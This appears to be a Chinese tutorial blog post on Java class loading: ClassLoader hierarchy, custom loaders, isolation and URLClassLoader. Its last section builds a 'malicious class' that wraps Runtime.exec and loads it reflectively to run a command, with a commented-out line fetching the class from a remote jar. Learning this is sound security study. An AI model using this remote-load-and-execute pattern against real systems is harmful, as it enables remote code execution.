Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2)来定义一个java.lang.Class实例。

class文件

Java字节码类文件(.class)是Java编译器编译Java源文件(.java)产生的“目标文件”。它是一种8位字节的二进制流文件。

Java类加载机制

主要作用:Java类文件的加载进内存

Bootstrap ClassLoader(引导类加载器)

Extension ClassLoader(扩展类加载器)

App ClassLoader(系统类加载器)—默认的类加载器

ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader,见示例。

1
2
3
4
5
6
7
8
9
10
11
12
13
@Test
public void test5() throws ClassNotFoundException {
ClassLoader loader1 = ClassLoader.getSystemClassLoader();
System.out.println(loader1);
ClassLoader loader2 = loader1.getParent();
System.out.println(loader2);
ClassLoader loader3 = loader2.getParent();
System.out.println(loader3);
String className = "java.io.File";
Class clazz2 = Class.forName(className);
ClassLoader loader4 = clazz2.getClassLoader();
System.out.println(loader4);
}

通过引导类加载器加载(该类加载器实现于JVM层,采用C++编写),获取一个类的类加载器时候会返回一个null值,如loader3

java.io.File类同理间loader4

双亲委派

一个java类加载进JVM内存的过程

  1. 每个类加载器对他加载过的类都有缓存
  2. 向上委托查找,向下委托加载

JDK的类加载对象

1
ClassLoader -> SecureClassLoader -> URLClassLoader -> ExtClassLoader,AppClassLoader

ClassLoader类

抽象类,主要功能:通过指定的类名称,找到或生成对应的字节码,返回java.lang.Class类的实例。

ClassLoader类有如下和加载类相关的方法:

方法 说明
getParent() 返回该类加载器的父类加载器
loadClass(String name) 加载指定的Java类
findClass(String name) 查找指定的Java类
findLoadedClass(String name) 查找JVM已经加载过的类
defineClass(String name,byte[] b,int off,int len) 字节数组b转成Java类
resolveClass 链接指定的Java类

ClassLoader作用

根据文件地址获取输入流

1
2
3
4
5
6
ClassLoader loader = this.getClass().getClassLoader();
InputStream is = loader.getResourceAsStream("com\\drop\\test\\jdbc.properties");
Properties pros = new Properties();
pros.load(is);
String name = pros.getProperty("user");
System.out.println(name);

Java类动态加载机制

显式:通常使用Java反射或者ClassLoader来动态加载一个类对象。

隐式:类名.方法名()new类实例

常用的类动态加载方式:

1
2
3
4
5
//默认会初始化被加载类的静态属性和方法
Class clazz2 = Class.forName("java.io.File");

//默认不会初始化类方法
ClassLoader classLoader = this.getClass().getClassLoader("java.io.File");

自定义ClassLoader

  1. 继承一个系统类加载器。
  2. 覆盖父类的findClass方法。
  3. 在方法中,调用defineClass方法在JVM内存中定义一个类。

自己的类加载器来实现加载自定义的字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
package com.drop.test;

import java.lang.reflect.Method;

public class TestClassLoader extends ClassLoader{
// TestHelloWorld类名
private static String testClassName = "com.drop.test.TestHelloWorld";
// TestHelloWorld类字节码
private static byte[] testClassBytes = new byte[]{
-54, -2, -70, -66, 0, 0, 0, 52, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0, 16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111, 32, 87, 111, 114, 108, 100, 126, 1, 0, 28, 99, 111, 109, 47, 100, 114, 111, 112, 47, 116, 101, 115, 116, 47, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1, 0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 3, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1, 0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 6, 0, 1, 0, 11, 0, 0, 0, 2, 0, 12
};

@Override
protected Class<?> findClass(String name) throws ClassNotFoundException { //使用自定义类加载器重写findClass方法
// 只处理TestHelloWorld类
if (name.equals(testClassName)) {
// 调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestHelloWorld类
return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}
return super.findClass(name);
}

public static void main(String[] args) throws Exception {
// 创建自定义的类加载器
TestClassLoader loader = new TestClassLoader();
//使用自定义的类加载器加载TestHelloWorld类
Class testClass = loader.loadClass(testClassName);
// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();
Object testInstance = testClass.newInstance();
// 反射获取hello方法
Method method = testInstance.getClass().getMethod("hello");
// 反射调用hello方法,等价于 String str = t.hello();
String str = (String) ((Method) method).invoke(testInstance);
System.out.println(str);
}
}

类加载隔离

image-20211025171150475

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
package com.drop.test;

import java.lang.reflect.Method;
import static com.drop.test.TestClassLoader.testClassBytes;
import static com.drop.test.TestClassLoader.testClassName;

public class TestCrossClassLoader {

public static class ClassLoaderA extends ClassLoader {

public ClassLoaderA(ClassLoader parent) {
super(parent);
}

{
// 加载类字节码
defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}

}

public static class ClassLoaderB extends ClassLoader {

public ClassLoaderB(ClassLoader parent) {
super(parent);
}

{
// 加载类字节码
defineClass(testClassName, testClassBytes, 0, testClassBytes.length);
}

}

public static void main(String[] args) throws Exception {
// 父类加载器
ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();

// A类加载器
ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);

// B类加载器
ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);

// 使用A/B类加载器加载同一个类
Class<?> aClass = Class.forName(testClassName, true, aClassLoader);
Class<?> aaClass = Class.forName(testClassName, true, aClassLoader);
Class<?> bClass = Class.forName(testClassName, true, bClassLoader);

// 比较A类加载和B类加载器加载的类是否相等
System.out.println("aClass == aaClass:" + (aClass == aaClass));
System.out.println("aClass == bClass:" + (aClass == bClass));

System.out.println("\n" + aClass.getName() + "方法清单:");

// 获取该类所有方法
Method[] methods = aClass.getDeclaredMethods();

for (Method method : methods) {
System.out.println(method);
}

// 创建类实例
Object instanceA = aClass.newInstance();

// 获取hello方法
Method helloMethod = aClass.getMethod("hello");

// 调用hello方法
String result = (String) helloMethod.invoke(instanceA);

System.out.println("\n反射调用:" + testClassName + "类" + helloMethod.getName() + "方法,返回结果:" + result);
}

}

动态加载字节码的几种方法

URLClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//Hello.java
public class Hello {
static {
System.out.println("Hello World");
}
}

//HelloClassLoader.java
import java.net.URL;
import java.net.URLClassLoader;

public class HelloClassLoader {
public static void main(String[] args) throws Exception {
URL[] urls = {new URL("http://127.0.0.1:8000")};
URLClassLoader loader = URLClassLoader.newInstance(urls);
Class c = loader.loadClass("Hello");
c.newInstance();
}
}

image-20221227133741546

构造恶意类

static方法

在没有创建对象的情况下来进行调用(方法/变量)

1
2
3
4
5
6
import java.io.IOException;
public class CMD {
public static Process exec(String cmd) throws IOException {
return Runtime.getRuntime().exec(cmd);
}
}

远程调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class TestURLClassLoader {

public static void main(String[] args) {
try {
// 定义远程加载的jar路径,jar中是CMD.java的class文件
//URL url = new URL("http://192.168.47.128:8000/tool.jar");

// 定义远程加载本地java文件
File f = new File("F:\\IdeaProjects\\test\\src\\com\\drop\\test\\CMD.java");
URL url = f.toURL();

// 创建URLClassLoader对象,并加载远程jar包
URLClassLoader curl = new URLClassLoader(new URL[]{url});

// 定义需要执行的系统命令
String cmd = "calc";

//定义远程加载的jar路径,这里写包的路径
//Class cmdClass = curl.loadClass("CMD");
// 通过URLClassLoader加载远程jar包中的CMD类
Class<?> cmdClass = curl.loadClass("com.drop.test.CMD");

// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");
Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null,cmd);

// 获取命令执行结果的输入流
InputStream in = process.getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

// 读取命令执行结果
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

// 输出命令执行结果
System.out.println(baos.toString());
} catch (Exception e) {
e.printStackTrace();
}
}

}

image-20220104151915409